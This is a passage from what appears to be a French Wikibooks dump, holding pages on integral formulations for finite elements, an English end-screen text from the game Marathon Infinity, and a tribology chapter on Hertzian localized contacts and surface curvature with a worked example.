</math> est la température, <math>\alpha \, </math> la conductivité thermique <math>\alpha = \lambda \, </math> , <math>\beta \, </math> est le produit de la masse volumique de la chaleur massique et de la pulsation propre au carré <math>\beta=-\rho \cdot c \cdot \omega^2 \, </math>, <math>q \, </math> est l'énergie produite au sein du matériau ====Corde==== ici <math>u \, </math> est le déplacement transversal, <math>\alpha \, </math> est la tension <math>\alpha = T\, </math>, <math>\beta \, </math> est le produit de la masse de la section et de la pulsation propre au carré <math>\beta=-\rho \cdot S \cdot \omega^2 \, , </math> La sollicitation externe au système <math>q \, </math> est un effort transversal distribué. ====Barre en traction compression==== ici <math>u \, </math> est le déplacement longitudinal, <math>\alpha \, </math> est le module d'YOUNG <math>\alpha = E \, </math>, <math>\beta \, </math> est le produit de la masse de la section et de la pulsation propre au carré <math>\beta=-\rho \cdot S \cdot \omega^2 \, </math> La sollicitation externe au système, <math>q \, </math> est un effort distribué appliqué sur la barre. Nous avons donc vu que notre équation pouvait représenter quelques problèmes physiques bien connus. Il serait donc intéressant de trouver une méthode permettant de systématiser la résolution de tels problèmes. Nous allons donc introduire la notion de formulation intégrale sur ce problème scalaire et définir tous les outils nécessaires ainsi que les diférentes approches permettant de résoudre un tel système. On peut distinguer deux grandes familles de formulations : * la formulation intégrale forte * la formulation intégrale faible ===Formulation intégrale forte=== En mécanique nous avons l'habitude de définir une quantité qu'il nous faudra minimiser dans le but de d'obtenir la solution de notre problème. Cette quantité se nomme résidu et est défini par : ::: <math>R(u_N)=\frac {d}{dx} \left (\alpha(x) \cdot \frac {du_N(x)}{dx} \right) + \beta(x) \cdot u_N(x)-q(x)</math> La fonction <math>u_N\,</math> est l'approximation de la fonction <math>u\,</math>. * si <math>u_N=u \,</math> (solution exacte du problème) alors <math>R(u_N)=0 \,</math> Ce résidu nous servira lorsque l'on essayera de minimiser l'erreur dans la formulation variationnelle forte Soit la forme intégrale suivante : <math> \int_\Omega \left. \varphi(x) \cdot \left[ \frac {d}{dx} \left (\alpha(x) \cdot \frac {du(x)}{dx} \right) + \beta(x) \cdot u(x)-q(x) \right] \cdot dx \right.=0 </math> <math> \varphi </math> est appelée fonction de pondération. On peut approximer la fonction u de plusieurs manières, elle doit cependant respecter certaines règles : * elle doit être suffisament dérivable pour que la formulation variationnelle soit cohérente. * elle doit satisfaire les conditions aux limites. On peut donc envisager toutes sortes d'approximations, c'est en partie la nature de cette approximation qui définira quelles méthodes nous utiliserons pour résoudre notre problème. Il reste un paramètre qui conditionnera la méthode que l'on utilisera : la formulation. On peut très bien s'arrêter à cette formulation, mais il devient alors assez difficile de trouver, dans le cas général, une fonction qui satisfasse nos critères. Une méthode assez élégante pour pouvoir faciliter la recherche d'une approximation pour la fonction <math>u</math>. En augmentant l'ordre de dérivation de la fonction <math> \varphi </math> nous pouvons intégrer par partie et ainsi abaisser le niveau de dérivation de la fonction <math>u</math> et donc faciliter son approximation. Cette méthode s'appelle la formulation intégrale faible. ===Formulation intégrale faible=== Le but de cettte méthode est de simplifier l'obtention des fonctions <math> \varphi </math>, en effet que l'on travaille avec une méthode globale ou locale, il sera toujours plus facile de déterminer l'approximation de <math> \varphi </math> et de <math> u </math> lorsque l'on aura le même ordre de dérivation sur <math> \varphi </math> et sur <math> u </math>. La représentation sous la forme affaiblie du problème nous permettra de plus d'obtenir des propriétes intéressantes sur les opérateurs que l'on définira plus tard. Marathon - Marathon Infinity - Écran final 4637 20446 2005-09-02T12:32:07Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} We've watched while the stars burned<br/ > out, creation played in reverse. The universe freezing in half light. Once I thought to escape. To end the end a master, step out of the<br/ > path of collapse. Escape would make us god. Yet I cannot remember one enigma.<br/ > A hybrid, elusive Destroyer.<br/ > This is the only mystery I have not solved. The only element unaccounted for. Even S'bhuth is no more, He saved his entire race, but in the end, frozen by<br/ > despair, he joined the chaos he sought to evade. But you were dead a thousand times. Hopeless encounters successfully won.<br/ > A man long dead, grafted to machines your builders did not understand. You follow<br/ > the path, fitting into an infinite pattern. Yours to manipulate, to destroy and rebuild. Now, in the quantum moment before the closure, when all<br/ > become one. One moment left. One point of space and time. I know who you are. You are destiny. <center>[[Marathon - Marathon Infinity - Aye Mak Sicur|< Aye Mak Sicur]] •                       </center> Tribologie - Contacts localisés 4640 41491 2006-05-03T18:23:34Z Jean-Jacques MILAN 114 /* Une surface fictive pour mieux comprendre */ {{EnTravaux}} {{Tribologie}} == Aspects généraux et historiques == === Présentation === Entre deux pièces mécaniques, les efforts peuvent être transmis par des contacts surfaciques, comme dans le cas des [[Tribologie - Guidage par glissement de surfaces|guidages lisses]], ou '''par des contacts de type « linéique » ou « ponctuel »''' comme ceux que nous allons étudier ici. Les modèles les plus simples correspondant au second cas sont obtenus en mettant un cylindre ou une sphère en contact avec un plan, mais il existe bien d'autres possibilités. * Dans le cas des contacts surfaciques, on admet en général que les pièces sont quasi indéformables ; quant aux pressions de contact, elles ont des valeurs relativement limitées. * Dans le cas des contacts linéiques ou ponctuels, en revanche, supposer les pièces indéformables reviendrait à considérer des aires de contact nulles et des pressions infinies, ce qui est évidemment impossible. En réalité, les déformations « étalent » plus ou moins la zone de contact autour du point ou de la ligne théorique et les pressions sont très élevées, typiquement 50 à 100 fois plus que dans les contacts de surfaces. Commes nous le verrons, ces pressions peuvent même dépasser largement la [[w:limite d'élasticité|limite d'élasticité]] des matériaux en présence, sans pour autant provoquer de [[w:déformation plastique|déformations plastiques]]. === Le contexte historique === [[Image:Steam locomotive work.gif|right]] [[Image:48 - Mende - Pont Notre-Dame.jpg|thumb|450px|right|Pont Notre-Dame à Mende (48) - 13e siècle]] [[Image:Paris Pont Alexandre III.jpg|thumb|450px|right|Pont Alexandre III à Paris, construit pour l'Exposition Universelle de 1900]] Ce n'est sans doute pas un hasard si les études sur ce sujet remontent à la seconde moitié du XIXe siècle, période de grand développement du chemin de fer et de l'architecture métallique. À cette époque, en effet, les contacts des roues métalliques avec les rails font apparaître des processus d'endommagement inédits et, pour construire des matériels ferroviaires durables, les ingénieurs ont besoin de méthodes susceptibles de les guider dans leur travail. Parallèlement, l'apparition du métal fait évoluer les techniques de construction. Les bâtisseurs du pont Notre-Dame à Mende ou de bien d'autres ponts de pierre étaient fort habiles et leurs constructions ont souvent traversé les siècles pour nous parvenir en excellent état. Ils savaient répartir les poussées sur les appuis, même dans le cas de rives très dissymétriques comme dans notre exemple. Cependant, pour toutes les constructions de cette sorte, les forces transmises au sol restent globalement modérées et surtout, elles sont réparties sur des surfaces relativement importantes. Il en va tout autrement pour des ouvrages comme le [[w:Pont Alexandre III|Pont Alexandre III]], édifié de 1897 à 1900 par les architectes Cassien-Bernard et Gaston Cousin en collaboration avec les ingénieurs Jean Résal et Amédée Alby. L'arc en acier à trois articulations, de 107,5 m de portée et de 40 m de largeur, est très bas puisque son surbaissement (rapport hauteur/portée) est de 1/17. Au niveau des culées, les poussées sont considérables et appliquées sur des surfaces relativement petites. Il faut alors bâtir des massifs de maçonnerie capables de recevoir des forces très importantes sur des surfaces relativement petites et de transmettre au sol, sur des étendues beaucoup plus grandes, des pressions acceptables. === Les premières théories === L'étude des contacts localisés trouve des applications à diverses échelles qui vont de la dizaine de m pour les massifs de maçonnerie au cm ou au mm pour les pièces mécaniques ou à quelques μm pour les contacts d'aspérités. Les premiers calculs de [[w:Joseph Boussinesq|Joseph Boussinesq]], auteur en 1876 d'un ''Essai théorique de l'équilibre des massifs pulvérulents, comparé à celui des massifs solides, sur la poussée des terres sans cohésion'', reprenant des études de Coulomb sur ce sujet, reposent sur un ensemble d'hypothèses très restrictives : {| border="1" cellpadding="5" cellspacing="0" |- |'''Hypothèses de Boussinesq :''' * A - les corps en présence sont supposés semi-infinis, * B - au voisinage de la future zone de contact, leurs surfaces peuvent être représentées par des quadriques dont les courbures sont connues, * C - ces corps sont parfaitement élastiques, homogènes et isotropes, * D - l'aire de contact est assimilée à un très petit élément plan qui ne reçoit que des efforts normaux, donc parallèles entre eux. Ces hypothèses appellent divers commentaires : * A : il s'agit de définir des conditions aux limites. Les contraintes, très élevées dans la zone de contact, diminuent au fur et à mesure que l'on s'éloigne de celle-ci jusqu'à devenir nulles à l'infini, puisque les efforts sont alors répartis sur une surface infiniment grande. Pour les pièces mécaniques, cette hypothèse ne peut s'appliquer sans trop de restrictions que si les zones de contact sont vraiment très petites par rapport aux autres dimensions. * B : les quadriques sont des surfaces définies par des équations du second degré, complètes ou dégénérées, parmi lesquelles on trouve la sphère, les ellipsoïdes, les hyperboloïdes, les paraboloïdes, les cylindres de révolution (ellipsoïdes infiniment allongés) ou les plans (sphères de rayon infini). Les paraboloïdes et les plans sont comptatibles avec l'hypothèse A mais pas les sphères ni les cylindres. D'autres surfaces techniques, comme les tores que l'on trouve dans les roulements à billes ou les flancs des dents d'engrenages, à base de développantes de cercles, seront assimilées sans trop d'états d'âme à des quadriques. Le plus gros problème posé par cette hypothèse vient en fait de la rugosité qui rend la répartition des pressions de contact très irrégulière et généralement très éloignée du modèle théorique. * C : l'hypothèse de déformations purement élastiques peut être admise sans grande difficulté mais les matériaux utilisés dans la fabrication des pièces mécaniques ne sont généralement ni homogènes, ni isotropes. Les métaux, en particulier, ont une structure polycristalline et/ou polyphasique, à l'exemple de la fonte. Leurs microcristaux sont également orientés en fonction de la solidification progressive pour les pièces moulées ou du «fibrage » pour les pièces forgées, ce qui fait varier les propriétés mécaniques en fonction de la direction dans laquelle on se place. * D : dans beaucoup de contacts, la zone d'application des pressions est loin d'être plane et surtout, le fait de ne considérer que des charges normales suppose que l'on fasse abstraction du frottement. Or, on sait que celui-ci modifie profondément les données du problème en augmentant les déformations et en accélérant certains processus de dégradation des pièces. |- |} En 1881, [[w:Heinrich Hertz|Heinrich Hertz]], jeune ingénieur et docteur ès sciences de 24 ans qui se fera bientôt connaître comme physicien, publie dans le célèbre [[w:Journal de Crelle|Journal de Crelle]] (XVII, p. 156), sous le titre ''Ueber die Beruhrung fester elastischer Körper'' (''Sur le contact des corps solides élastiques''), un mémoire qui fera date, puisqu'il s'agit de la première théorie cohérente des contacts ponctuels. Le mémoire de Hertz, qui reprend les hypothèses de Boussinesq, a été cité dans d'innombrables bibliographies par des auteurs qui ne l'ont jamais eu entre les mains, mais il est désormais accessible grâce à trois Professeurs de l'ENSAM d'Angers, MM. Diwisch, Foulon et Rey qui l'ont retrouvé et en ont fourni en 1985 une traduction juxtalinéaire (Publication scientifique et technique n° 30, Le mémoire de Hertz sur les contacts ponctuels, Paris, ENSAM). D'autres chercheurs, en particulier Belajeff et ses Collègues de l'« École soviétique », ont fourni par la suite d'autres contributions importantes. Le fait que l'on reste dans le domaine des déformations élastiques permet d'appliquer le « principe de superposition » bien connu en résistance des matériaux. Au premier réseau de contraintes établi par l'application des efforts normaux vont en effet se superposer un second réseau provoqué par les efforts tangentiels résultant du frottement ou de l'adhérence, puis un troisième dû aux [[w:contrainte résiduelle|contraintes résiduelles]] dont on favorise l'apparition par des traitements mécaniques ou thermochimiques appropriés, et enfin un quatrième qui correspond aux autres sollicitations des pièces, tension, compression, flexion, torsion ... Ces quatre groupes de contraintes peuvent être définis séparément puis combinés pour aboutir à l'état de charge complet des zones de contact. Le calcul des contraintes supplémentaires dues au frottement a été conduit de diverses manières par des chercheurs comme Liu (1950), Poritzky (1966) et quelques autres. Il est extrêmement compliqué, au point d'être pratiquement inutilisable dans les situations concrètes. Cependant, des résultats synthétiques et adaptés aux besoins des bureaux d'études ont été publiés quelques années plus tard par Caubet, Cartier et leur équipe du Centre Technique des Industries Mécaniques (CETIM). == Rappels de géométrie des courbes et des surfaces == === Cercle osculateur d'une courbe plane, rayon de courbure, courbure === [[Image:Cercle osculateur - osculating circle.png|210px|right]] Sans entrer dans le détail des définitions mathématiques, disons simplement que le '''cercle osculateur''' à une courbe en un point donné est, parmi tous les cercles possibles, celui qui « représente le mieux cette courbe » au voisinage de ce point. A cet endroit, le cercle osculateur et la courbe ont la même tangente, il s'ensuit évidemment que le centre du cercle se trouve sur la normale à la courbe. Le plus grand cercle, en trait noir fin, tangente la courbe en M et la recoupe en N. On peut imaginer que son rayon diminue jusqu'à ce que N vienne se confondre avec M. Tout comme la tangente à une courbe, le cercle osculateur (tracé ici en pointillés) « coupe cette courbe en deux points confondus ». Dans l'exemple choisi, en diminuant encore le rayon du cercle tangent, on verrait réapparaître le point N de l'autre côté de M. Le rayon R du cercle osculateur n'est autre que le '''rayon de courbure''' de la courbe au point M. Par définition, la '''courbure''' C en ce point est l'inverse de ce rayon ; elle est nulle quand le rayon rend vers l'infini, la courbe devenant alors une droite. Il est souvent utile de compter le rayon de courbure de façon algébrique pour distinguer la concavité de la convexité : <math>R = \overline{OM} \quad et \quad C= \frac{1}{R}</math> === Sections et courbures d'une surface === [[Image:Section.png|175px|right]] [[Image:Section normale.png|300px|right]] Il n'y a rien de mieux, pour tout connaitre d'une surface autour d'un point, que de la couper par des plans passant par ce point. L'intersection d'une surface par un plan passant par le point M nous donnera une courbe que nous appellerons une '''section'''. Seul petit problème, il existe une infinité de plans passant par M et la méthode n'est pas très efficace ... En tout point M non stationnaire d'une surface (S) (point autre qu'un ombilic, non situé sur une arête, un méplat, etc.) il est possible de définir le plan tangent (T) et la normale <math>\vec{n}</math>. Les plans contenant M et la normale sont appelés '''plans normaux''' en M à la surface (S), ils sont bien entendu perpendiculaires au plan tangent (T). Tout plan normal (P) coupe la surface (S) selon une '''section normale''' (C) dont on peut définir le centre de courbure O et le rayon de courbure <math>R =\overline{OM}</math> au point M. {| border="1" cellpadding="5" cellspacing="0" |- | '''Le nombre algébrique <math>C_n =\frac{1}{R_n}</math> est la courbure normale de la surface (S), au point M et dans la direction du plan (P).''' <br>'''En orientant positivement la normale à partir de la matière vers l'extérieur, on trouve des rayons de courbure et des courbures positifs ou négatifs selon que les surfaces sont respectivement convexes ou concaves dans la direction du plan considéré.''' |- |} === Plans principaux, courbures principales, formule d'Euler === [[Image:Plans principaux.png|450px|right]] [[Image:Formule d'Euler.png|225px|right]] Il existe une infinité de plans normaux à une surface en un point donné mais il est facile de voir que si le plan (P) effectue un demi-tour, toute la surface est décrite. Il en résulte que la courbure normale d'une surface autour d'un point non stationnaire M est une fonction périodique de l'angle de rotation du plan (P), avec une période égale à π. Pour certains types de points stationnaires (a priori sans intérêt en mécanique) on pourrait trouver des périodes plus petites, π/2, π/3, π/4, etc. Si le plan (P) tourne autour de la normale <math>\vec{n}</math>, la courbure trouvée dans ce plan varie entre un maximum C'=1/R' et un minimum C"=1/R", atteints dans deux plans (P') et (P") perpendiculaires entre eux. * (P') et (P") sont les '''plans principaux''' de la surface (S) en M, * R' et R" les '''rayons de courbure principaux''', * C' et C" les '''courbures principales'''. * '''attention au signe des rayons et des courbures, ainsi qu'aux notations qui ne sont pas choisies au hasard !''' À partir des deux courbures principales, il est possible de calculer toutes les courbures intermédiaires grâce à une formule donnée par [[w:fr:Leonhard Euler|Leonhard Euler]] : la courbure normale C dans un plan de section normale (P) faisant l'angle &theta; avec le plan principal de '''plus forte''' courbure (P') vaut en effet : {| border="1" cellpadding="5" cellspacing="0" align="center" |- | <math> C = C' \cos^{2} \theta + C'' \sin^{2} \theta = \frac{C'+C''}{2} + \frac{C'-C''}{2} \cos 2 \theta \quad (1)</math> |- |} '''Remarques :''' * la '''courbure totale''' est définie comme <math>C' C''= \frac {1}{R'R''}</math> * la '''courbure moyenne''' vaut <math>\frac {C'+C''}{2}</math>. * pour un élément de surface déterminé au voisinage de M, '''les plans principaux sont également des plans de symétrie'''. Inversement, si en un point une surface possède deux plans de symétrie évidents (et seulement deux) alors ces plans sont principaux ; c'est tès souvent le cas pour les pièces mécaniques. [[Image:Bague de roulement.png|350px|right]] Une bague intérieure de roulement à billes possède deux plans principaux évidents en un point M situé au creux de la piste de roulement. Ce point serait l'équivalent d'un col pour deux montagnards : le premier, qui passe d'une vallée à l'autre, s'y trouve au point culminant de sa randonnée. Il y croise le second, qui suit la route des crêtes et pour qui le col est au contraire le point le plus bas. Il faut tout d'abord reconnaître quels sont les plans de plus grande et de plus petite courbure pour affecter les bons indices, ce qui est fondamental pour la suite de l'étude et pour tous les calculs qui suivront, et bien se mettre en tête que nos courbures sont '''définies algébriquement'''. Avoir 3 € en poche est mieux que devoir 1 € au collègue qui vous a payé deux fois le café à la pause, et devoir 1 € à son collègue est grandement préférable à en devoir 10 000 à son banquier ! On a beau être persuadé que tout nombre positif est supérieur à tout nombre négatif et qu'entre deux nombres négatifs, le plus grand est celui qui a la plus petite valeur absolue, le piège est tellement grossier qu'il est très facile d'y tomber. Ici la section la plus courbe est celle qui passe par la ligne des crêtes mais c'est pourtant là, pour cause de concavité, que la courbure est la plus petite. Nous aurons donc, par exemple, R' = 40 mm et R" = <big>'''-'''</big> 10 mm, ce qui nous donnera immédiatement C' = 0,025 mm<sup>-1</sup> et C" = <big>'''-'''</big> 0,1 mm<sup>-1</sup>. Ceci montre bien qu'une surface peut parfaitement, en un de ses points, être à la fois convexe et concave selon la direction du plan normal qui va la couper. La courbure passant sans discontinuité d'une valeur positive à une valeur négative, il existe deux directions de plan qui correspondent à une valeur nulle et se calculent facilement à partir de la formule d'Euler : <math>\frac{C'+C''}{2} + \frac{C'-C''}{2} \cos 2 \theta = 0</math> On en tire la valeur de &theta;, en n'oubliant pas deux choses : * le cosinus nous donne deux angles opposés et donc deux directions symétriques par rapport aux plans principaux, * cette propriété n'est valable qu'au voisinage immédiat du point M, puisque le tore n'est pas une quadrique et encore moins une [[w:fr:Surface réglée|surface réglée]]. == Courbures et contacts localisés == Les contacts localisés sont souvent utilisés dans les mécanismes de guidage et de transmission de puissance comme les engrenages, les roulements, beaucoup de dispositifs de commande, les contacts cames-poussoirs, les machines d'essais, etc. L'étendue réelle des aires de contact dépend de trois ensembles de paramètres : * les efforts mis en jeu, * les caractéristiques géométriques du contact, * les matériaux des pièces et leurs traitements. Dans la plupart des cas, deux de ces ensembles sont donnés, les efforts presque toujours, les matériaux très souvent car le choix est finalement très limité, il reste à définir les formes et les dimensions des pièces. Nous allons nous intéresser, dans un premier temps, à ces aspects géométriques. === Mise en place des surfaces === [[Image:Deux corps non déformés.png|250px|right]] '''En l'absence de charge''', deux solides (1) et (2), limités par deux surfaces (S<sub>1</sub>) et (S<sub>2</sub>), sont en contact en un point I. Si ce point n'est stationnaire sur aucune des deux surfaces, celles-ci possèdent en I une normale commune et un plan tangent commun (T). La figure ci-contre représente les deux solides coupés par un même plan de section normale (P) dans lequel sont définis les rayons de courbure R<sub>1</sub> et R<sub>2</sub> des sections normales ainsi que les courbures correspondantes C<sub>1</sub> et C<sub>2</sub>. '''Attention !''' Nous avons défini le signe des courbures de la surface extérieure d'un objet isolé à partir de sa normale extérieure ; nous devons persévérer dans ce sens, même si, une fois nos deux objets mis en contact, nous réalisons soudain que leurs deux normales extérieures sont colinéaires mais de sens opposés. C'est pourquoi la normale commune définira ici un axe Iz que nous orienterons, si possible intelligemment, dans le sens de notre choix. Les deux autres axes Ix et Iy constituant avec Iz un trièdre orthonormé se trouveront alors quelque part dans le plan tangent (T), nous nous en préoccuperons en temps utile. Deux point M<sub>1</sub> et M<sub>2</sub> appartenant respectivement aux surfaces (S<sub>1</sub>) et (S<sub>2</sub>), très proches de I, sont situés sur une même droite perpendiculaire en H au plan tangent. Par la suite, lorsque les efforts seront appliqués, ces points vont se rapprocher et même, peut-être, arriver au contact l'un de l'autre. Les deux surfaces sont par hypothèse des quadriques dont les équations s'écrivent sous la forme : <math>\overline{HM_1} = z_1 = a_1 x^2 + a_2 xy + a_3 y^2</math> et <math>\overline{HM_2} = z_2 = b_1 x^2 + b_2 xy + b_3 y^2</math> La distance <math>\overline{M_1 M_2}</math> se calcule de suite : <math>\overline{M_1 M_2} = \overline{M_1 H} + \overline{H M_2} = z_2 - z_1</math> <math>\overline{M_1 M_2} = (b_1 - a_1)x^2 + (b_2 - a_2)xy + (b_3 - a_3)y^2</math> En posant <math>z=\overline{M_1M_2}, c_1=(b_1-a_1)</math>, etc., on peut alors écrire : <math>\overline{M_1 M_2} = z = c_1x^2 + c_2xy + c_3y^2</math> === Une surface fictive pour mieux comprendre === Dans cette dernière équation, z définit une nouvelle quadrique qui représente le diagramme des distances séparant les points des deux surfaces de départ. Nous allons remplacer le contact de nos deux pièces réelles par celui de deux pièces fictives qui seraient limitées, l'une par la nouvelle quadrique et l'autre, par le plan tangent ; le comportement du nouveau couple suivra fidèlement celui de l'ancien ! Il n'est pas toujours possible de mettre en contact deux points donnés appartenant à deux surfaces différentes, si l'une au moins de ces surfaces présente des concavités, donc des courbures négatives, dans certaines directions. La démonstration de la possibilité ou de l'impossibilité du contact n'est pas toujours évidente pour les surfaces réelles mais nous pouvons remarquer que la surface fictive en contact avec le plan ne doit présenter aucune concavité, c'est-à-dire que sa plus petite courbure doit toujours être positive ou nulle. [[Image:Surface fictive.png|500px|center]] Raisonnons sur trois points M<sub>1</sub>, M<sub>2</sub> et M appartenant respectivement aux trois surfaces (S<sub>1</sub>), (S<sub>2</sub>) et (S) et situés sur une même droite perpendiculaire en H au plan tangent (T). H étant toujours très proche de I, les angles <big>&alpha;<sub>1</sub></big>, <big>&alpha;<sub>2</sub></big> et <big>&alpha;</big> sont tous les trois très petits, on peut écrire : <math>IH \approx \alpha R \approx \alpha_1 R_1 \approx \alpha_2 R_2 \quad \to \quad \alpha_1 \approx \frac{\alpha R}{R_1} \quad et \quad \alpha_2 \approx \frac{\alpha R}{R_2}</math> et aussi : <math>\overline{HM_1} = - R_1 (1-\cos \alpha_1) \approx - R_1 \frac{\alpha_1^2}{2}</math> <math>\overline{HM_2} = R_2 (1-\cos \alpha_2) \approx R_2 \frac{\alpha_2^2}{2}</math> <math>\overline{HM} = R (1-\cos \alpha) \approx R \frac{\alpha^2}{2}</math> La définition de la surface (S) est telle que : <math>\overline{HM} = \overline{M_1M_2} = \overline{M_1 H} + \overline{H M_2} = - \overline{H M_1} + \overline{H M_2}</math> donc : <math>R \frac{\alpha^2}{2} = R_1 \frac{\alpha_1^2}{2} + R_2 \frac{\alpha_2^2}{2} </math> En remplaçant les angles <big>&alpha;<sub>1</sub></big> et <big>&alpha;<sub>2</sub></big> par leur valeur, on obtient : <math>R \frac{\alpha^2}{2} = \frac{R_1}{2} \frac{\alpha^2 R^2}{R_1^2} + \frac{R_2}{2} \frac{\alpha^2 R^2}{R_2^2} </math> on divise tout par <math>\frac{\alpha^2 R^2}{2}</math> et finalement... {| border="1" cellpadding="5" cellspacing="0" align="center" |- | <math>\frac{1}{R} = \frac{1}{R_1} + \frac{1}{R_2} = C = C_1 + C_2 \quad (2)</math> |- |} Ce résultat, dont l'analogie avec quelques formules d'électricité ou d'optique n'est que purement formelle, est hautement intéressant car il nous permet, à partir des deux courbures des surfaces de départ, de calculer la courbure de la surface fictive. Tout comme (S<sub>1</sub>) et (S<sub>2</sub>), la surface (S) possède deux courbures principales que nous appellerons C' pour la plus grande et C" pour la plus petite. Pour que le contact soit possible il '''faut''' que l'on ait : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>C' \ge C'' \ge 0 \quad (3)</math> |- |} Cette condition est '''nécessaire mais pas suffisante''', la forme des pièces hors du voisinage immédiat du point de contact pouvant rendre impossible l'existence d'un contact ponctuel ou linéique à cet endroit. === ... et une exemple concret pour aller plus loin === Voici un exemple « à caractère scolaire » dans lequel la plupart des difficultés possibles ont été regroupées. Un anneau et une barre sont mis en contact comme indiqué sur la figure ci-dessous, les traces des plans de symétrie dans le plan tangent ont été reprises à droite pour éviter, par la suite, une surcharge qui rendrait les dessins illisibles. [[Image:Exemple de contact 1.png|550px|center]] Cet exemple viole allégremment les hypothèses de Boussinesq ! Il en ira de même pour la plupart de ceux que les mécaniciens auront à traiter. Ici les pièces ne sont pas « semi-infinies », le tore n'est pas une quadrique, sans compter les problèmes déjà signalés à propos des matériaux et de la rugosité. Cela ne nous empêchera pas d'en tirer des ordres de grandeur utilisables en pratique. La première chose à faire est de repérer soigneusement les plans principaux des deux pièces, ce qui est a priori facile en raison des symétries, mais ... '''attention aux signes''' ! Par ailleurs, nous convertirons systématiquement toutes les dimensions en mm. Donnons l'indice 1 au tore et l'indice 2 à la barre. [[Image:Exemple de contact 2.png|550px|center]] {| border="1" cellspacing="0" cellpadding="5" align="center" |- |'''pour la pièce 1''' |'''pour la pièce 2''' |- | colspan="2" align="center"|on détermine d'abord les rayons de courbure et les courbures |- |R'<sub>1</sub> = 5 mm d'où C'<sub>1</sub> = 0,2 mm<sup>-1</sup> |R'<sub>2</sub> = 10 mm d'où C'<sub>2</sub> = 0,1 mm<sup>-1</sup> |- |R"<sub>1</sub> = -30 mm d'où C"<sub>1</sub> = -0,0333 mm<sup>-1</sup> |R"<sub>2</sub> infini d'où C"<sub>2</sub> = 0 |- | colspan="2" align="center"|on aura aussi besoin de la somme et de la différence des courbures |- | &Sigma;<sub>1</sub> = C'<sub>1</sub> + C"<sub>1</sub> = 0,2 - 0,0333 = 0,1667 mm<sup>-1</sup> | &Sigma;<sub>2</sub> = C'<sub>2</sub> + C"<sub>2</sub> = 0,1 - 0 = 0,1 mm<sup>-1</sup> |- | &Delta;<sub>1</sub> = C'<sub>1</sub> - C"<sub>1</sub> = 0,2 + 0,0333 = 0,2333 mm<sup>-1</sup> | &Delta;<sub>2</sub> = C'<sub>2</sub> - C"<sub>2</sub> = 0,1 - 0 = 0,1 mm<sup>-1</sup> |- |colspan="2" align="center"|'''<big>&phi;</big>''' est l'angle '''aigu''' qui va de (P"<sub>1</sub>) à (P"<sub>2</sub>) et définit l'orientation du plan tangent |- |} [[Image:Exemple de contact 3.png|200px|right]] Dans un plan de section quelconque (P) passant par la normale commune aux deux surfaces au point I, on peut calculer les deux courbures des surfaces (S<sub>1</sub>) et (S<sub>2</sub>), puis les additionner pour trouver la courbure correspondante de la surface fictive (S) en contact avec le plan tangent. Le calcul pourrait ressembler à : <big><big><math> C_1 = C'_1 \cos^{2} \theta_1 + C''_1 \sin^{2} \theta_1 </math></big></big> et <big><big><math> C_2 = C'_2 \cos^{2} \theta_2 + C''_2 \sin^{2} \theta_2 </math></big></big> puis <big><big><math> C = C_1 + C_2</math></big></big> mais ... ce n'est pas la bonne solution ! [[Image:Exemple de contact 4.png|250px|right]] Nous allons commencer par définir un système d'axes provisoires de la manière suivante : * Iu sera construit sur la bissectrice de l'angle formé par les plans (P"<sub>1</sub>) et (P"<sub>2</sub>), * Iv sera construit sur la bissectrice de l'angle formé par les plans (P'<sub>1</sub>) et (P'<sub>2</sub>), * Iz sera la normale commune aux surfaces, * le trièdre sera orthonormé direct. Le plan (P) sera repéré par l'angle '''aigu''' <big>&theta;</big> qu'il forme avec l'axe Iv. De cette façon, nous pouvons écrire : <big>&theta;<sub>1</sub> = &theta; + &phi;/2</big> et <big>&theta;<sub>2</sub> = &theta; - &phi;/2</big> Les formules d'Euler acquièrent alors une certaine symétrie : <big><big><math> C_1 = C'_1 \cos^{2} (\theta + \phi/2) + C''_1 \sin^{2} (\theta + \phi/2) </math></big></big> et <big><big><math> C_2 = C'_2 \cos^{2} (\theta - \phi/2) + C''_2 \sin^{2} (\theta - \phi/2) </math></big></big> Pour rester poli, nous qualifierons le calcul qui suit normalement par un terme anglais, « boring ». Il ne présente pas de difficulté importante mais il ne faut pas se tromper dans les signes ! * on additionne C<sub>1</sub> et C<sub>2</sub>, on développe tout le matériel en révisant au passage ses formules de trigonométrie, on regroupe tout ce qui se ressemble plus ou moins et l'on obtient finalement l'expression de la courbure C de la surface fictive en fonction de l'angle <big>&theta;</big>, * on dérive C par rapport à <big>&theta;</big>, * on annule cette dérivée pour trouver l'orientation des plans (P') et (P") qui contiennent respectivement la plus grande et la plus petite des deux courbures principales de la surface fictive, * on reporte les valeurs trouvées dans l'expression de C pour trouver les valeurs des courbures principales. * on vérifie que tout va bien, c'est-à-dire que le contact en I est possible. Si la courbure C" est négative, en effet, rien ne va plus ! Voici donc les formules finales, fort utiles pour briller en société ! La somme des deux courbures principales de la surface (S) s'écrit : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<big><big><math>\Sigma = C' + C'' = C'_1 + C''_1 + C'_2 + C''_2 = \Sigma_1 + \Sigma_2 \quad (4)</math></big></big> |- |} et leur différence : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>\Delta = C' - C'' = \sqrt{\Delta_1^2 + \Delta_2^2 + 2 \Delta_1 \Delta_2 \cos 2 \phi} \quad (5)</math> |- |} Les courbures elles-même se calculent aisément : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>C' = \frac{\Sigma + \Delta}{2}</math> <br> <math>C'' = \frac{\Sigma - \Delta}{2}</math> <br> en vérifiant que <math>C' \ge C'' \ge 0 \quad (6)</math> |- |} Dans notre exemple, nous avons : <big><big><math>\Sigma = C' + C'' = \Sigma_1 + \Sigma_2 = 0,1667 + 0,1 = 0,2667 \,mm^{-1}</math></big></big> <big><big><math>\phi = 65^o</math></big></big> <math>\Delta = C' - C'' = \sqrt{\Delta_1^2 + \Delta_2^2 + 2 \Delta_1 \Delta_2 \cos 2 \phi} </math> <math>= \sqrt{0,2333^2 + 0,1^2 + 2 \cdot 0,2333 \cdot 0,1 \cos 130}= 0,1856 \,mm^{-1}</math> d'où : <math>C' = \frac{0,2667 + 0,1856}{2} = 0,2262 \,mm^{-1} \quad \to \quad R' = 4,42 \,mm</math> et <math>C'' = \frac{0,2667 - 0,1856}{2} = 0,0406 \,mm^{-1} \quad \to \quad R'' = 24,66 \,mm</math> A priori, tout va bien, puisque <math>0,2262 \ge 0,0406 \ge 0</math> Avant d'aller plus loin, rappelons ce sage conseil de [[w:fr:Jean-Marc Lévy-Leblond|Jean-Marc Lévy-Leblond]] : 